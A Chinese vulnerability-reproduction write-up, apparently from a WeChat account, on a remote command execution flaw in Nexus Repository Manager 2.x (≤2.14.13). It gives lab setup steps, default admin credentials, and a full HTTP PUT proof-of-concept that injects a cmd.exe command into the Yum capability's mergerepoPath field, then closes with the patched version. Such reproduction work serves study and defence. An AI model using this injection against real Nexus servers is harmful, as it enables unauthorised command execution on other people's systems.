0x00 前言
如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可
提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存
0x01 漏洞概述
最近hackerone才公开了Nexus Repository Manager 2.X漏洞细节,该漏洞默认存在部署权限账号,成功登录后可使用“createrepo”或“mergerepo”自定义配置,可触发远程命令执行漏洞
0x02 影响版本
Nexus Repository Manager OSS <= 2.14.13
Nexus Repository Manager Pro <= 2.14.13
限制:admin权限才可触发漏洞
0x03 环境搭建
Nexus-2.14.13下载地址:
https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip
Windows搭建:
解压后进入相应版本目录
分别右击以下文件使用管理员权限运行:
install-nexus.bat
start-nexus.bat
访问 localhost:8081/nexus 验证服务是否真的开启
若访问成功,则服务启动成功
若失败,按下面链接改配置文件wrapper.conf即可
https://blog.csdn.net/nthack5730/article/details/51082270
0x04 漏洞利用
首先以管理员身份(admin/admin123)登录
然后找到漏洞位置:Capabilities - Yum:Configuration - Settings
点击 Save 抓包,更改mergerepoPath后的value值
C:\\Windows\\System32\\cmd.exe /k dir&
此处使用 /k 是因为这样命令执行完会保留进程不退出,而 /c 后执行完会退出;由于给用户提供的命令后面加了一个 --version,所以后面要加个&,&表两个命令同时执行,这样就不会干扰其他命令的执行
Poc如下:
PUT /nexus/service/siesta/capabilities/00012bdb034073a3 HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 241
DNT: 1
Connection: close
Referer: http://127.0.0.1:8081/nexus/
Cookie: NXSESSIONID=105c7cb1-a307-43a3-9ff8-9770b5ae3b13
{"typeId":"yum","enabled":true,"properties":[{"key":"maxNumberParallelThreads","value":"10"},{"key":"createrepoPath","value":"111"},{"key":"mergerepoPath","value":"C:\\Windows\\System32\\cmd.exe /k dir&"}],"id":"00012bdb034073a3","notes":""}
0x05 修复方式
下载官方的修复版2.14.14-01
小结:复现过程中遇到了很多问题,多亏了达哥的帮助才顺利的完成整个复现过程,非常感谢达哥!
参考链接:
https://mp.weixin.qq.com/s/E_BEp-yYKtIYAnQ6JP7fmg